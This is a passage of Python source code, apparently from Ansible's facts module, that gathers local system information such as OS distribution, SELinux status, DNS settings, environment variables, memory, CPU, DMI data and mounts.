                    elif 'Release:' in line:
                        self.facts['lsb']['release'] = value
                    elif 'Codename:' in line:
                        self.facts['lsb']['codename'] = value
        elif lsb_path is None and os.path.exists('/etc/lsb-release'):
            self.facts['lsb'] = {}
            for line in get_file_lines('/etc/lsb-release'):
                value = line.split('=',1)[1].strip()
                if 'DISTRIB_ID' in line:
                    self.facts['lsb']['id'] = value
                elif 'DISTRIB_RELEASE' in line:
                    self.facts['lsb']['release'] = value
                elif 'DISTRIB_DESCRIPTION' in line:
                    self.facts['lsb']['description'] = value
                elif 'DISTRIB_CODENAME' in line:
                    self.facts['lsb']['codename'] = value

        if 'lsb' in self.facts and 'release' in self.facts['lsb']:
            self.facts['lsb']['major_release'] = self.facts['lsb']['release'].split('.')[0]

    def get_selinux_facts(self):
        if not HAVE_SELINUX:
            self.facts['selinux'] = False
            return
        self.facts['selinux'] = {}
        if not selinux.is_selinux_enabled():
            self.facts['selinux']['status'] = 'disabled'
        else:
            self.facts['selinux']['status'] = 'enabled'
            try:
                self.facts['selinux']['policyvers'] = selinux.security_policyvers()
            except OSError:
                self.facts['selinux']['policyvers'] = 'unknown'
            try:
                (rc, configmode) = selinux.selinux_getenforcemode()
                if rc == 0:
                    self.facts['selinux']['config_mode'] = Facts.SELINUX_MODE_DICT.get(configmode, 'unknown')
                else:
                    self.facts['selinux']['config_mode'] = 'unknown'
            except OSError:
                self.facts['selinux']['config_mode'] = 'unknown'
            try:
                mode = selinux.security_getenforce()
                self.facts['selinux']['mode'] = Facts.SELINUX_MODE_DICT.get(mode, 'unknown')
            except OSError:
                self.facts['selinux']['mode'] = 'unknown'
            try:
                (rc, policytype) = selinux.selinux_getpolicytype()
                if rc == 0:
                    self.facts['selinux']['type'] = policytype
                else:
                    self.facts['selinux']['type'] = 'unknown'
            except OSError:
                self.facts['selinux']['type'] = 'unknown'

    def get_caps_facts(self):
        capsh_path = self.module.get_bin_path('capsh')
        if capsh_path:
            rc, out, err = self.module.run_command([capsh_path, "--print"])
            out = out.decode('utf-8', 'replace')
            enforced_caps = []
            enforced = 'NA'
            for line in out.split('\n'):
                if len(line) < 1:
                    continue
                if line.startswith('Current:'):
                    if line.split(':')[1].strip() == '=ep':
                        enforced = 'False'
                    else:
                        enforced = 'True'
                        enforced_caps = [i.strip() for i in line.split('=')[1].split(',')]

            self.facts['system_capabilities_enforced'] = enforced
            self.facts['system_capabilities'] = enforced_caps


    def get_fips_facts(self):
        self.facts['fips'] = False
        data = get_file_content('/proc/sys/crypto/fips_enabled')
        if data and data == '1':
            self.facts['fips'] = True


    def get_date_time_facts(self):
        self.facts['date_time'] = {}

        now = datetime.datetime.now()
        self.facts['date_time']['year'] = now.strftime('%Y')
        self.facts['date_time']['month'] = now.strftime('%m')
        self.facts['date_time']['weekday'] = now.strftime('%A')
        self.facts['date_time']['weekday_number'] = now.strftime('%w')
        self.facts['date_time']['weeknumber'] = now.strftime('%W')
        self.facts['date_time']['day'] = now.strftime('%d')
        self.facts['date_time']['hour'] = now.strftime('%H')
        self.facts['date_time']['minute'] = now.strftime('%M')
        self.facts['date_time']['second'] = now.strftime('%S')
        self.facts['date_time']['epoch'] = now.strftime('%s')
        if self.facts['date_time']['epoch'] == '' or self.facts['date_time']['epoch'][0] == '%':
            self.facts['date_time']['epoch'] = str(int(time.time()))
        self.facts['date_time']['date'] = now.strftime('%Y-%m-%d')
        self.facts['date_time']['time'] = now.strftime('%H:%M:%S')
        self.facts['date_time']['iso8601_micro'] = now.utcnow().strftime("%Y-%m-%dT%H:%M:%S.%fZ")
        self.facts['date_time']['iso8601'] = now.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ")
        self.facts['date_time']['iso8601_basic'] = now.strftime("%Y%m%dT%H%M%S%f")
        self.facts['date_time']['iso8601_basic_short'] = now.strftime("%Y%m%dT%H%M%S")
        self.facts['date_time']['tz'] = time.strftime("%Z")
        self.facts['date_time']['tz_offset'] = time.strftime("%z")

    def is_systemd_managed(self):
        # tools must be installed
        if self.module.get_bin_path('systemctl'):

            # this should show if systemd is the boot init system, if checking init faild to mark as systemd
            # these mirror systemd's own sd_boot test http://www.freedesktop.org/software/systemd/man/sd_booted.html
            for canary in ["/run/systemd/system/", "/dev/.run/systemd/", "/dev/.systemd/"]:
                if os.path.exists(canary):
                    return True
        return False

    # User
    def get_user_facts(self):
        self.facts['user_id'] = getpass.getuser()
        pwent = pwd.getpwnam(getpass.getuser())
        self.facts['user_uid'] = pwent.pw_uid
        self.facts['user_gid'] = pwent.pw_gid
        self.facts['user_gecos'] = pwent.pw_gecos
        self.facts['user_dir'] = pwent.pw_dir
        self.facts['user_shell'] = pwent.pw_shell

    def get_env_facts(self):
        self.facts['env'] = {}
        for k,v in iteritems(os.environ):
            self.facts['env'][k] = v

    def get_dns_facts(self):
        self.facts['dns'] = {}
        for line in get_file_content('/etc/resolv.conf', '').splitlines():
            if line.startswith('#') or line.startswith(';') or line.strip() == '':
                continue
            tokens = line.split()
            if len(tokens) == 0:
                continue
            if tokens[0] == 'nameserver':
                if not 'nameservers' in self.facts['dns']:
                    self.facts['dns']['nameservers'] = []
                for nameserver in tokens[1:]:
                    self.facts['dns']['nameservers'].append(nameserver)
            elif tokens[0] == 'domain':
                if len(tokens) > 1:
                    self.facts['dns']['domain'] = tokens[1]
            elif tokens[0] == 'search':
                self.facts['dns']['search'] = []
                for suffix in tokens[1:]:
                    self.facts['dns']['search'].append(suffix)
            elif tokens[0] == 'sortlist':
                self.facts['dns']['sortlist'] = []
                for address in tokens[1:]:
                    self.facts['dns']['sortlist'].append(address)
            elif tokens[0] == 'options':
                self.facts['dns']['options'] = {}
                if len(tokens) > 1:
                    for option in tokens[1:]:
                        option_tokens = option.split(':', 1)
                        if len(option_tokens) == 0:
                            continue
                        val = len(option_tokens) == 2 and option_tokens[1] or True
                        self.facts['dns']['options'][option_tokens[0]] = val

    def _get_mount_size_facts(self, mountpoint):
        size_total = None
        size_available = None
        try:
            statvfs_result = os.statvfs(mountpoint)
            size_total = statvfs_result.f_bsize * statvfs_result.f_blocks
            size_available = statvfs_result.f_bsize * (statvfs_result.f_bavail)
        except OSError:
            pass
        return size_total, size_available

    def get_python_facts(self):
        self.facts['python'] = {
            'version': {
                'major': sys.version_info[0],
                'minor': sys.version_info[1],
                'micro': sys.version_info[2],
                'releaselevel': sys.version_info[3],
                'serial': sys.version_info[4]
            },
            'version_info': list(sys.version_info),
            'executable': sys.executable,
            'has_sslcontext': HAS_SSLCONTEXT
        }
        try:
            self.facts['python']['type'] = sys.subversion[0]
        except AttributeError:
            self.facts['python']['type'] = None


class Distribution(object):
    """
    This subclass of Facts fills the distribution, distribution_version and distribution_release variables

    To do so it checks the existance and content of typical files in /etc containing distribution information

    This is unit tested. Please extend the tests to cover all distributions if you have them available.
    """

    # every distribution name mentioned here, must have one of
    #  - allowempty == True
    #  - be listed in SEARCH_STRING
    #  - have a function get_distribution_DISTNAME implemented
    OSDIST_LIST = (
        {'path': '/etc/oracle-release', 'name': 'OracleLinux'},
        {'path': '/etc/slackware-version', 'name': 'Slackware'},
        {'path': '/etc/redhat-release', 'name': 'RedHat'},
        {'path': '/etc/vmware-release', 'name': 'VMwareESX', 'allowempty': True},
        {'path': '/etc/openwrt_release', 'name': 'OpenWrt'},
        {'path': '/etc/system-release', 'name': 'Amazon'},
        {'path': '/etc/alpine-release', 'name': 'Alpine'},
        {'path': '/etc/arch-release', 'name': 'Archlinux', 'allowempty': True},
        {'path': '/etc/os-release', 'name': 'SuSE'},
        {'path': '/etc/SuSE-release', 'name': 'SuSE'},
        {'path': '/etc/gentoo-release', 'name': 'Gentoo'},
        {'path': '/etc/os-release', 'name': 'Debian'},
        {'path': '/etc/lsb-release', 'name': 'Mandriva'},
        {'path': '/etc/altlinux-release', 'name': 'Altlinux'},
        {'path': '/etc/os-release', 'name': 'NA'},
        {'path': '/etc/coreos/update.conf', 'name': 'Coreos'},
    )

    SEARCH_STRING = {
        'OracleLinux': 'Oracle Linux',
        'RedHat': 'Red Hat',
        'Altlinux': 'ALT Linux',
    }

    # A list with OS Family members
    OS_FAMILY = dict(
        RedHat = 'RedHat', Fedora = 'RedHat', CentOS = 'RedHat', Scientific = 'RedHat',
        SLC = 'RedHat', Ascendos = 'RedHat', CloudLinux = 'RedHat', PSBM = 'RedHat',
        OracleLinux = 'RedHat', OVS = 'RedHat', OEL = 'RedHat', Amazon = 'RedHat',
        XenServer = 'RedHat', Ubuntu = 'Debian', Debian = 'Debian', Raspbian = 'Debian', Slackware = 'Slackware', SLES = 'Suse',
        SLED = 'Suse', openSUSE = 'Suse', SuSE = 'Suse', SLES_SAP = 'Suse', Gentoo = 'Gentoo', Funtoo = 'Gentoo',
        Archlinux = 'Archlinux', Manjaro = 'Archlinux', Mandriva = 'Mandrake', Mandrake = 'Mandrake', Altlinux = 'Altlinux',
        Solaris = 'Solaris', Nexenta = 'Solaris', OmniOS = 'Solaris', OpenIndiana = 'Solaris',
        SmartOS = 'Solaris', AIX = 'AIX', Alpine = 'Alpine', MacOSX = 'Darwin',
        FreeBSD = 'FreeBSD', HPUX = 'HP-UX', openSUSE_Leap = 'Suse'
    )

    def __init__(self, module):
        self.system = platform.system()
        self.facts = {}
        self.module = module

    def populate(self):
        self.get_distribution_facts()
        return self.facts

    def get_distribution_facts(self):
        # The platform module provides information about the running
        # system/distribution. Use this as a baseline and fix buggy systems
        # afterwards
        self.facts['distribution'] = self.system
        self.facts['distribution_release'] = platform.release()
        self.facts['distribution_version'] = platform.version()
        systems_implemented = ('AIX', 'HP-UX', 'Darwin', 'FreeBSD', 'OpenBSD', 'SunOS')

        self.facts['distribution'] = self.system

        if self.system in systems_implemented:
            cleanedname = self.system.replace('-','')
            distfunc = getattr(self, 'get_distribution_'+cleanedname)
            distfunc()
        elif self.system == 'Linux':
            # try to find out which linux distribution this is
            dist = platform.dist()
            self.facts['distribution'] = dist[0].capitalize() or 'NA'
            self.facts['distribution_version'] = dist[1] or 'NA'
            self.facts['distribution_major_version'] = dist[1].split('.')[0] or 'NA'
            self.facts['distribution_release'] = dist[2] or 'NA'
            # Try to handle the exceptions now ...
            # self.facts['distribution_debug'] = []
            for ddict in self.OSDIST_LIST:
                name = ddict['name']
                path = ddict['path']

                if not os.path.exists(path):
                    continue
                # if allowempty is set, we only check for file existance but not content
                if 'allowempty' in ddict and ddict['allowempty']:
                    self.facts['distribution'] = name
                    break
                if os.path.getsize(path) == 0:
                    continue

                data = get_file_content(path)
                if name in self.SEARCH_STRING:
                    # look for the distribution string in the data and replace according to RELEASE_NAME_MAP
                    # only the distribution name is set, the version is assumed to be correct from platform.dist()
                    if self.SEARCH_STRING[name] in data:
                        # this sets distribution=RedHat if 'Red Hat' shows up in data
                        self.facts['distribution'] = name
                    else:
                        # this sets distribution to what's in the data, e.g. CentOS, Scientific, ...
                        self.facts['distribution'] = data.split()[0]
                    break
                else:
                    # call a dedicated function for parsing the file content
                    try:
                        distfunc = getattr(self, 'get_distribution_' + name)
                        parsed = distfunc(name, data, path)
                        if parsed is None or parsed:
                            # distfunc return False if parsing failed
                            # break only if parsing was succesful
                            # otherwise continue with other distributions
                            break
                    except AttributeError:
                        # this should never happen, but if it does fail quitely and not with a traceback
                        pass



                    # to debug multiple matching release files, one can use:
                    # self.facts['distribution_debug'].append({path + ' ' + name:
                    #         (parsed,
                    #          self.facts['distribution'],
                    #          self.facts['distribution_version'],
                    #          self.facts['distribution_release'],
                    #          )})

        self.facts['os_family'] = self.facts['distribution']
        distro = self.facts['distribution'].replace(' ', '_')
        if distro in self.OS_FAMILY:
            self.facts['os_family'] = self.OS_FAMILY[distro]

    def get_distribution_AIX(self):
        rc, out, err = self.module.run_command("/usr/bin/oslevel")
        data = out.split('.')
        self.facts['distribution_version'] = data[0]
        self.facts['distribution_release'] = data[1]

    def get_distribution_HPUX(self):
        rc, out, err = self.module.run_command("/usr/sbin/swlist |egrep 'HPUX.*OE.*[AB].[0-9]+\.[0-9]+'", use_unsafe_shell=True)
        data = re.search('HPUX.*OE.*([AB].[0-9]+\.[0-9]+)\.([0-9]+).*', out)
        if data:
            self.facts['distribution_version'] = data.groups()[0]
            self.facts['distribution_release'] = data.groups()[1]

    def get_distribution_Darwin(self):
        self.facts['distribution'] = 'MacOSX'
        rc, out, err = self.module.run_command("/usr/bin/sw_vers -productVersion")
        data = out.split()[-1]
        self.facts['distribution_version'] = data

    def get_distribution_FreeBSD(self):
        self.facts['distribution_release'] = platform.release()
        data = re.search('(\d+)\.(\d+)-RELEASE.*', self.facts['distribution_release'])
        if data:
            self.facts['distribution_major_version'] = data.group(1)
            self.facts['distribution_version'] = '%s.%s' % (data.group(1), data.group(2))

    def get_distribution_OpenBSD(self):
        rc, out, err = self.module.run_command("/sbin/sysctl -n kern.version")
        match = re.match('OpenBSD\s[0-9]+.[0-9]+-(\S+)\s.*', out)
        if match:
            self.facts['distribution_version'] = match.groups()[0]
        else:
            self.facts['distribution_version'] = 'release'

    def get_distribution_Slackware(self, name, data, path):
        if 'Slackware' not in data:
            return False  # TODO: remove
        self.facts['distribution'] = name
        version = re.findall('\w+[.]\w+', data)
        if version:
            self.facts['distribution_version'] = version[0]

    def get_distribution_Amazon(self, name, data, path):
        if 'Amazon' not in data:
            return False  # TODO: remove
        self.facts['distribution'] = 'Amazon'
        self.facts['distribution_version'] = data.split()[-1]

    def get_distribution_OpenWrt(self, name, data, path):
        if 'OpenWrt' not in data:
            return False  # TODO: remove
        self.facts['distribution'] = name
        version = re.search('DISTRIB_RELEASE="(.*)"', data)
        if version:
            self.facts['distribution_version'] = version.groups()[0]
        release = re.search('DISTRIB_CODENAME="(.*)"', data)
        if release:
            self.facts['distribution_release'] = release.groups()[0]

    def get_distribution_Alpine(self, name, data, path):
        self.facts['distribution'] = 'Alpine'
        self.facts['distribution_version'] = data

    def get_distribution_SunOS(self):
        data = get_file_content('/etc/release').split('\n')[0]
        if 'Solaris' in data:
            ora_prefix = ''
            if 'Oracle Solaris' in data:
                data = data.replace('Oracle ','')
                ora_prefix = 'Oracle '
            self.facts['distribution'] = data.split()[0]
            self.facts['distribution_version'] = data.split()[1]
            self.facts['distribution_release'] = ora_prefix + data
            return

        uname_v = get_uname_version(self.module)
        distribution_version = None
        if 'SmartOS' in data:
            self.facts['distribution'] = 'SmartOS'
            if os.path.exists('/etc/product'):
                product_data = dict([l.split(': ', 1) for l in get_file_content('/etc/product').split('\n') if ': ' in l])
                if 'Image' in product_data:
                    distribution_version = product_data.get('Image').split()[-1]
        elif 'OpenIndiana' in data:
            self.facts['distribution'] = 'OpenIndiana'
        elif 'OmniOS' in data:
            self.facts['distribution'] = 'OmniOS'
            distribution_version = data.split()[-1]
        elif uname_v is not None and 'NexentaOS_' in uname_v:
            self.facts['distribution'] = 'Nexenta'
            distribution_version = data.split()[-1].lstrip('v')

        if self.facts['distribution'] in ('SmartOS', 'OpenIndiana', 'OmniOS', 'Nexenta'):
            self.facts['distribution_release'] = data.strip()
            if distribution_version is not None:
                self.facts['distribution_version'] = distribution_version
            elif uname_v is not None:
                self.facts['distribution_version'] = uname_v.split('\n')[0].strip()
            return

        return False  # TODO: remove if tested without this

    def get_distribution_SuSE(self, name, data, path):
        if 'suse' not in data.lower():
            return False  # TODO: remove if tested without this
        if path == '/etc/os-release':
            for line in data.splitlines():
                distribution = re.search("^NAME=(.*)", line)
                if distribution:
                    self.facts['distribution'] = distribution.group(1).strip('"')
                # example pattern are 13.04 13.0 13
                distribution_version = re.search('^VERSION_ID="?([0-9]+\.?[0-9]*)"?', line)
                if distribution_version:
                        self.facts['distribution_version'] = distribution_version.group(1)
                if 'open' in data.lower():
                    release = re.search("^PRETTY_NAME=[^(]+ \(?([^)]+?)\)", line)
                    if release:
                        self.facts['distribution_release'] = release.groups()[0]
                elif 'enterprise' in data.lower() and 'VERSION_ID' in line:
                    # SLES doesn't got funny release names
                    release = re.search('^VERSION_ID="?[0-9]+\.?([0-9]*)"?', line)
                    if release.group(1):
                        release = release.group(1)
                    else:
                        release = "0"  # no minor number, so it is the first release
                    self.facts['distribution_release'] = release
        elif path == '/etc/SuSE-release':
            if 'open' in data.lower():
                data = data.splitlines()
                distdata = get_file_content(path).split('\n')[0]
                self.facts['distribution'] = distdata.split()[0]
                for line in data:
                    release = re.search('CODENAME *= *([^\n]+)', line)
                    if release:
                        self.facts['distribution_release'] = release.groups()[0].strip()
            elif 'enterprise' in data.lower():
                lines = data.splitlines()
                distribution = lines[0].split()[0]
                if "Server" in data:
                    self.facts['distribution'] = "SLES"
                elif "Desktop" in data:
                    self.facts['distribution'] = "SLED"
                for line in lines:
                    release = re.search('PATCHLEVEL = ([0-9]+)', line) # SLES doesn't got funny release names
                    if release:
                        self.facts['distribution_release'] = release.group(1)
                        self.facts['distribution_version'] = self.facts['distribution_version'] + '.' + release.group(1)

    def get_distribution_Debian(self, name, data, path):
        if 'Debian' in data or 'Raspbian' in data:
            self.facts['distribution'] = 'Debian'
            release = re.search("PRETTY_NAME=[^(]+ \(?([^)]+?)\)", data)
            if release:
                self.facts['distribution_release'] = release.groups()[0]
        elif 'Ubuntu' in data:
            self.facts['distribution'] = 'Ubuntu'
            pass  # Ubuntu gets correct info from python functions
        else:
            return False  # TODO: remove if tested without this

    def get_distribution_Mandriva(self, name, data, path):
        if 'Mandriva' in data:
            self.facts['distribution'] = 'Mandriva'
            version = re.search('DISTRIB_RELEASE="(.*)"', data)
            if version:
                self.facts['distribution_version'] = version.groups()[0]
            release = re.search('DISTRIB_CODENAME="(.*)"', data)
            if release:
                self.facts['distribution_release'] = release.groups()[0]
            self.facts['distribution'] = name
        else:
            return False

    def get_distribution_NA(self, name, data, path):
        for line in data.splitlines():
            distribution = re.search("^NAME=(.*)", line)
            if distribution and self.facts['distribution'] == 'NA':
                self.facts['distribution'] = distribution.group(1).strip('"')
            version = re.search("^VERSION=(.*)", line)
            if version and self.facts['distribution_version'] == 'NA':
                self.facts['distribution_version'] = version.group(1).strip('"')

    def get_distribution_Coreos(self, name, data, path):
        if self.facts['distribution'].lower() == 'coreos':
            if not data:
                # include fix from #15230, #15228
                return
            release = re.search("^GROUP=(.*)", data)
            if release:
                self.facts['distribution_release'] = release.group(1).strip('"')
        else:
            return False  # TODO: remove if tested without this


class Hardware(Facts):
    """
    This is a generic Hardware subclass of Facts.  This should be further
    subclassed to implement per platform.  If you subclass this, it
    should define:
    - memfree_mb
    - memtotal_mb
    - swapfree_mb
    - swaptotal_mb
    - processor (a list)
    - processor_cores
    - processor_count

    All subclasses MUST define platform.
    """
    platform = 'Generic'

    def __new__(cls, *arguments, **keyword):
        # When Hardware is created, it chooses a subclass to create instead.
        # This check prevents the subclass from then trying to find a subclass
        # and create that.
        if cls is not Hardware:
            return super(Hardware, cls).__new__(cls)

        subclass = cls
        for sc in get_all_subclasses(Hardware):
            if sc.platform == platform.system():
                subclass = sc
        if PY3:
            return super(cls, subclass).__new__(subclass)
        else:
            return super(cls, subclass).__new__(subclass, *arguments, **keyword)

    def populate(self):
        return self.facts

class LinuxHardware(Hardware):
    """
    Linux-specific subclass of Hardware.  Defines memory and CPU facts:
    - memfree_mb
    - memtotal_mb
    - swapfree_mb
    - swaptotal_mb
    - processor (a list)
    - processor_cores
    - processor_count

    In addition, it also defines number of DMI facts and device facts.
    """

    platform = 'Linux'

    # Originally only had these four as toplevelfacts
    ORIGINAL_MEMORY_FACTS = frozenset(('MemTotal', 'SwapTotal', 'MemFree', 'SwapFree'))
    # Now we have all of these in a dict structure
    MEMORY_FACTS = ORIGINAL_MEMORY_FACTS.union(('Buffers', 'Cached', 'SwapCached'))

    # regex used against findmnt output to detect bind mounts
    BIND_MOUNT_RE = re.compile(r'.*\]')

    # regex used against mtab content to find entries that are bind mounts
    MTAB_BIND_MOUNT_RE = re.compile(r'.*bind.*"')

    def populate(self):
        self.get_cpu_facts()
        self.get_memory_facts()
        self.get_dmi_facts()
        self.get_device_facts()
        self.get_uptime_facts()
        self.get_lvm_facts()
        try:
            self.get_mount_facts()
        except TimeoutError:
            pass
        return self.facts

    def get_memory_facts(self):
        if not os.access("/proc/meminfo", os.R_OK):
            return

        memstats = {}
        for line in get_file_lines("/proc/meminfo"):
            data = line.split(":", 1)
            key = data[0]
            if key in self.ORIGINAL_MEMORY_FACTS:
                val = data[1].strip().split(' ')[0]
                self.facts["%s_mb" % key.lower()] = long(val) / 1024

            if key in self.MEMORY_FACTS:
                 val = data[1].strip().split(' ')[0]
                 memstats[key.lower()] = long(val) / 1024

        if None not in (memstats.get('memtotal'), memstats.get('memfree')):
            memstats['real:used'] = memstats['memtotal'] - memstats['memfree']
        if None not in (memstats.get('cached'), memstats.get('memfree'), memstats.get('buffers')):
            memstats['nocache:free'] = memstats['cached'] + memstats['memfree'] + memstats['buffers']
        if None not in (memstats.get('memtotal'), memstats.get('nocache:free')):
            memstats['nocache:used'] = memstats['memtotal'] - memstats['nocache:free']
        if None not in (memstats.get('swaptotal'), memstats.get('swapfree')):
            memstats['swap:used'] = memstats['swaptotal'] - memstats['swapfree']

        self.facts['memory_mb'] = {
                     'real' : {
                         'total': memstats.get('memtotal'),
                         'used': memstats.get('real:used'),
                         'free': memstats.get('memfree'),
                     },
                     'nocache' : {
                         'free': memstats.get('nocache:free'),
                         'used': memstats.get('nocache:used'),
                     },
                     'swap' : {
                         'total': memstats.get('swaptotal'),
                         'free': memstats.get('swapfree'),
                         'used': memstats.get('swap:used'),
                         'cached': memstats.get('swapcached'),
                     },
                 }

    def get_cpu_facts(self):
        i = 0
        vendor_id_occurrence = 0
        model_name_occurrence = 0
        physid = 0
        coreid = 0
        sockets = {}
        cores = {}

        xen = False
        xen_paravirt = False
        try:
            if os.path.exists('/proc/xen'):
                xen = True
            else:
                for line in get_file_lines('/sys/hypervisor/type'):
                    if line.strip() == 'xen':
                        xen = True
                    # Only interested in the first line
                    break
        except IOError:
            pass

        if not os.access("/proc/cpuinfo", os.R_OK):
            return
        self.facts['processor'] = []
        for line in get_file_lines('/proc/cpuinfo'):
            data = line.split(":", 1)
            key = data[0].strip()

            if xen:
                if key == 'flags':
                    # Check for vme cpu flag, Xen paravirt does not expose this.
                    #   Need to detect Xen paravirt because it exposes cpuinfo
                    #   differently than Xen HVM or KVM and causes reporting of
                    #   only a single cpu core.
                    if 'vme' not in data:
                        xen_paravirt = True

            # model name is for Intel arch, Processor (mind the uppercase P)
            # works for some ARM devices, like the Sheevaplug.
            if key in ['model name', 'Processor', 'vendor_id', 'cpu', 'Vendor']:
                if 'processor' not in self.facts:
                    self.facts['processor'] = []
                self.facts['processor'].append(data[1].strip())
                if key == 'vendor_id':
                    vendor_id_occurrence += 1
                if key == 'model name':
                    model_name_occurrence += 1
                i += 1
            elif key == 'physical id':
                physid = data[1].strip()
                if physid not in sockets:
                    sockets[physid] = 1
            elif key == 'core id':
                coreid = data[1].strip()
                if coreid not in sockets:
                    cores[coreid] = 1
            elif key == 'cpu cores':
                sockets[physid] = int(data[1].strip())
            elif key == 'siblings':
                cores[coreid] = int(data[1].strip())
            elif key == '# processors':
                self.facts['processor_cores'] = int(data[1].strip())

        if vendor_id_occurrence == model_name_occurrence:
            i = vendor_id_occurrence

        if self.facts['architecture'] != 's390x':
            if xen_paravirt:
                self.facts['processor_count'] = i
                self.facts['processor_cores'] = i
                self.facts['processor_threads_per_core'] = 1
                self.facts['processor_vcpus'] = i
            else:
                if sockets:
                    self.facts['processor_count'] = len(sockets)
                else:
                    self.facts['processor_count'] = i

                socket_values = list(sockets.values())
                if socket_values:
                    self.facts['processor_cores'] = socket_values[0]
                else:
                    self.facts['processor_cores'] = 1

                core_values = list(cores.values())
                if core_values:
                    self.facts['processor_threads_per_core'] = core_values[0] // self.facts['processor_cores']
                else:
                    self.facts['processor_threads_per_core'] = 1 // self.facts['processor_cores']

                self.facts['processor_vcpus'] = (self.facts['processor_threads_per_core'] *
                    self.facts['processor_count'] * self.facts['processor_cores'])

    def get_dmi_facts(self):
        ''' learn dmi facts from system

        Try /sys first for dmi related facts.
        If that is not available, fall back to dmidecode executable '''

        if os.path.exists('/sys/devices/virtual/dmi/id/product_name'):
            # Use kernel DMI info, if available

            # DMI SPEC -- http://www.dmtf.org/sites/default/files/standards/documents/DSP0134_2.7.0.pdf
            FORM_FACTOR = [ "Unknown", "Other", "Unknown", "Desktop",
                            "Low Profile Desktop", "Pizza Box", "Mini Tower", "Tower",
                            "Portable", "Laptop", "Notebook", "Hand Held", "Docking Station",
                            "All In One", "Sub Notebook", "Space-saving", "Lunch Box",
                            "Main Server Chassis", "Expansion Chassis", "Sub Chassis",
                            "Bus Expansion Chassis", "Peripheral Chassis", "RAID Chassis",
                            "Rack Mount Chassis", "Sealed-case PC", "Multi-system",
                            "CompactPCI", "AdvancedTCA", "Blade" ]

            DMI_DICT = {
                    'bios_date': '/sys/devices/virtual/dmi/id/bios_date',
                    'bios_version': '/sys/devices/virtual/dmi/id/bios_version',
                    'form_factor': '/sys/devices/virtual/dmi/id/chassis_type',
                    'product_name': '/sys/devices/virtual/dmi/id/product_name',
                    'product_serial': '/sys/devices/virtual/dmi/id/product_serial',
                    'product_uuid': '/sys/devices/virtual/dmi/id/product_uuid',
                    'product_version': '/sys/devices/virtual/dmi/id/product_version',
                    'system_vendor': '/sys/devices/virtual/dmi/id/sys_vendor'
                    }

            for (key,path) in DMI_DICT.items():
                data = get_file_content(path)
                if data is not None:
                    if key == 'form_factor':
                        try:
                            self.facts['form_factor'] = FORM_FACTOR[int(data)]
                        except IndexError:
                            self.facts['form_factor'] = 'unknown (%s)' % data
                    else:
                        self.facts[key] = data
                else:
                    self.facts[key] = 'NA'

        else:
            # Fall back to using dmidecode, if available
            dmi_bin = self.module.get_bin_path('dmidecode')
            DMI_DICT = {
                    'bios_date': 'bios-release-date',
                    'bios_version': 'bios-version',
                    'form_factor': 'chassis-type',
                    'product_name': 'system-product-name',
                    'product_serial': 'system-serial-number',
                    'product_uuid': 'system-uuid',
                    'product_version': 'system-version',
                    'system_vendor': 'system-manufacturer'
                    }
            for (k, v) in DMI_DICT.items():
                if dmi_bin is not None:
                    (rc, out, err) = self.module.run_command('%s -s %s' % (dmi_bin, v))
                    if rc == 0:
                        # Strip out commented lines (specific dmidecode output)
                        thisvalue = ''.join([ line for line in out.split('\n') if not line.startswith('#') ])
                        try:
                            json.dumps(thisvalue)
                        except UnicodeDecodeError:
                            thisvalue = "NA"

                        self.facts[k] = thisvalue
                    else:
                        self.facts[k] = 'NA'
                else:
                    self.facts[k] = 'NA'

    def _run_lsblk(self, lsblk_path):
        args = ['--list', '--noheadings', '--paths',  '--output', 'NAME,UUID']
        cmd = [lsblk_path] + args
        rc, out, err = self.module.run_command(cmd)
        return rc, out, err

    def _lsblk_uuid(self):
        uuids = {}
        lsblk_path = self.module.get_bin_path("lsblk")
        if not lsblk_path:
            return uuids

        rc, out, err = self._run_lsblk(lsblk_path)
        if rc != 0:
            return uuids

        # each line will be in format:
        # <devicename><some whitespace><uuid>
        # /dev/sda1  32caaec3-ef40-4691-a3b6-438c3f9bc1c0
        for lsblk_line in out.splitlines():
            if not lsblk_line:
                continue

            line = lsblk_line.strip()
            fields = line.rsplit(None, 1)

            if len(fields) < 2:
                continue

            device_name, uuid = fields[0].strip(), fields[1].strip()
            if device_name in uuids:
                continue
            uuids[device_name] = uuid

        return uuids

    def _run_findmnt(self, findmnt_path):
        args = ['--list', '--noheadings', '--notruncate']
        cmd = [findmnt_path] + args
        rc, out, err = self.module.run_command(cmd)
        return rc, out, err

    def _find_bind_mounts(self):
        bind_mounts = set()
        findmnt_path = self.module.get_bin_path("findmnt")
        if not findmnt_path:
            return bind_mounts

        rc, out, err = self._run_findmnt(findmnt_path)
        if rc != 0:
            return bind_mounts
        out = out.decode('utf-8', 'replace')

        # find bind mounts, in case /etc/mtab is a symlink to /proc/mounts
        for line in out.splitlines():
            fields = line.split()
            # fields[0] is the TARGET, fields[1] is the SOURCE
            if len(fields) < 2:
                continue

            # bind mounts will have a [/directory_name] in the SOURCE column
            if self.BIND_MOUNT_RE.match(fields[1]):
                bind_mounts.add(fields[0])

        return bind_mounts

    def _mtab_entries(self):
        mtab = get_file_content('/etc/mtab', '')
        mtab_entries = []
        for line in mtab.splitlines():
            fields = line.split()
            if len(fields) < 4:
                continue
            mtab_entries.append(fields)
        return mtab_entries

    @timeout(10)
    def get_mount_facts(self):
        self.facts['mounts'] = []

        bind_mounts = self._find_bind_mounts()
        uuids = self._lsblk_uuid()
        mtab_entries = self._mtab_entries()

        mounts = []
        for fields in mtab_entries:
            device, mount, fstype, options = fields[0], fields[1], fields[2], fields[3]

            if not device.startswith('/') and ':/' not in device:
                continue

            if fstype == 'none':
                continue

            size_total, size_available = self._get_mount_size_facts(mount)

            if mount in bind_mounts:
                # only add if not already there, we might have a plain /etc/mtab
                if not self.MTAB_BIND_MOUNT_RE.match(options):
                    options += ",bind"

            mount_info = {'mount': mount,
                          'device': device,
                          'fstype': fstype,
                          'options': options,
                          # statvfs data
                          'size_total': size_total,
                          'size_available': size_available,
                          'uuid': uuids.get(device, 'N/A')}

            mounts.append(mount_info)

        self.facts['mounts'] = mounts

    def get_holders(self, block_dev_dict, sysdir):
        block_dev_dict['holders'] = []
        if os.path.isdir(sysdir + "/holders"):
            for folder in os.listdir(sysdir + "/holders"):
                if not folder.startswith("dm-"):
                    continue
                name = get_file_content(sysdir + "/holders/" + folder + "/dm/name")
                if name:
                    block_dev_dict['holders'].append(name)
                else:
                    block_dev_dict['holders'].append(folder)

    def get_device_facts(self):
        self.facts['devices'] = {}
        lspci = self.module.get_bin_path('lspci')
        if lspci:
            rc, pcidata, err = self.module.run_command([lspci, '-D'])
